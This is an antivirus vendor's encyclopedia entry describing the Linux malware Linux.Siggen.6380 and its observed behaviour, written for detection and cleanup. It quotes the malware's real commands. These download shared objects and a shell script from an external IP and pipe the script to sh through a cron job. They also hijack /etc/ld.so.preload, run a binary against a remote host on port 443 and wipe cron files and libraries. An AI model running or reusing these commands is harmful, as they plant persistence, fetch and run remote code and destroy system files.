Meine Bibliothek
Meine Bibliothek

+ Zur Bibliothek hinzufügen

Support

Ihre Anfragen

Rufen Sie uns an

+7 (495) 789-45-86

Profil

Linux.Siggen.6380

Added to the Dr.Web virus database: 2024-01-10

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
Malicious functions:
Removes itself
Launches itself as a daemon
Launches processes:
  • apt update -y > /dev/null 2>&1; apt install cron -y > /dev/null 2>&1
  • /usr/bin/pgrep pkill -9 tmp
  • chmod 777 /var/tmp/tmp > /dev/null 2>&1
  • crontab -r
  • rm -rf /var/tmp/* > /dev/null 2>&1
  • /usr/lib/apt/methods/http
  • crontab -l
  • rm -rf /var/tmp/*.
  • pkill -9 tmp > /dev/null 2>&1
  • cd /var/tmp; nohup ./tmp -o ns1.disponibletogether.com:443 >/dev/null 2>&1 &
  • chmod 644 /etc/crontab > /dev/null 2>&1
  • rm -rf /etc/ld.so.preload > /dev/null 2>&1
  • curl -o /usr/local/lib/pthread.so -s http://185.196.9.190/srv/pthread.so
  • rm -rf /var/tmp/tmp > /dev/null 2>&1
  • rm -rf /var/spool/cron/crontabs/*
  • yum update -y > /dev/null 2>&1; yum install cron -y > /dev/null 2>&1
  • crontab -
  • rm -rf /var/tmp/*. > /dev/null 2>&1
  • mkdir /var/tmp > /dev/null 2>&1
  • grep -qxF */15 * * * * sh <(curl -s http://185.196.9.190/srv/dca.sh)
  • rm -rf /tmp/* > /dev/null 2>&1
  • curl -s /etc/crontab -o http://185.196.9.190/srv/crontab 2>&1
  • touch /etc/ld.so.preload > /dev/null 2>&1
  • chmod 777 /var/tmp/tmp
  • rm -rf /etc/cron/*
  • mkdir /var/tmp
  • chmod 644 /etc/crontab
  • apt update -y
  • touch /etc/ld.so.preload
  • rm -rf /var/spool/cron/crontabs/* > /dev/null 2>&1
  • rm -rf /etc/crontab
  • crontab -r 2>/dev/null; crontab -l 2>/dev/null | grep -qxF \x27*/15 * * * * sh <(curl -s http://185.196.9.190/srv/dca.sh)\x27 || (crontab -l 2>/dev/null; echo \x27*/15 * * * * sh <(curl -s http://185.196.9.190/srv/dca.sh)\x27) | crontab - 2>/dev/null
  • sh -c \x27cd /var/tmp; nohup ./tmp -o ns1.disponibletogether.com:443 >/dev/null 2>&1 &\x27
  • dnf check-update -y > /dev/null 2>&1; dnf install cronie cronie-anacron -y > /dev/null 2>&1
  • curl -o /usr/local/lib/initrc.so -s http://185.196.9.190/srv/initrc.so
  • rm -rf /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-d16u7f /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-j0IM1e /tmp/tmux-0
  • rm -rf /etc/cron/* > /dev/null 2>&1
  • apt install cron -y
  • /usr/bin/dpkg --print-foreign-architectures
  • rm -rf /usr/local/lib/*.so > /dev/null 2>&1
  • rm -rf /usr/local/lib/*.so
  • rm -rf /var/tmp/tmp
  • rm -rf /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-truN7i /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-cRu1Gh
  • rm -rf /etc/ld.so.preload
Kills the following processes:
  • kdevtmpfs
  • http
Performs operations with the file system:
Modifies file access rights:
  • /var/tmp/tmp
  • /var/lib/apt/lists/partial
  • /var/lib/apt/lists/auxfiles
  • /var/cache/apt/srcpkgcache.bin.tpyD7X
  • /var/cache/apt/pkgcache.bin.bYOT8W
  • /var/cache/apt/archives/partial
  • /var/spool/cron/crontabs/tmp.9OgTeJ
Modifies file owner:
  • /var/lib/apt/lists/partial
  • /var/lib/apt/lists/auxfiles
  • /var/cache/apt/archives/partial
Deletes folders:
  • /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-truN7i/tmp
  • /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-truN7i
  • /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-cRu1Gh/tmp
  • /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-cRu1Gh
  • /usr/local/lib
  • /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-d16u7f/tmp
  • /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-d16u7f
  • /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-j0IM1e/tmp
  • /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-j0IM1e
  • /tmp/tmux-0
Creates or modifies files:
  • /etc/ld.so.preload
  • /var/tmp/tmp
  • /tmp/#130830 (deleted)
  • /var/lib/apt/lists/lock
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.mt8UlZ
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.hShGiW
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.GUOyyV
  • /var/cache/apt/srcpkgcache.bin.tpyD7X
  • /var/cache/apt/pkgcache.bin.bYOT8W
  • /var/lib/dpkg/lock-frontend
  • /var/lib/dpkg/lock
  • /var/cache/apt/archives/lock
  • /var/spool/cron/crontabs/tmp.9OgTeJ
Deletes files:
  • /usr/local/lib
  • /var/tmp/tmp
  • /etc/crontab
  • /tmp/tmux-0/default
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.mt8UlZ
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.hShGiW
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.GUOyyV
  • /var/cache/apt/pkgcache.bin
  • /var/cache/apt/srcpkgcache.bin
Changes time of creation/access/modification of files:
  • /etc/ld.so.preload
  • /var/spool/cron/crontabs
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
DNS ASK:
  • _h###.###p.security.debian.org
  • _h###.##cp.deb.debian.org
  • se####ty.debian.org
  • de#.#ebian.org
Other:
Collects OS information
Collects CPU information

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number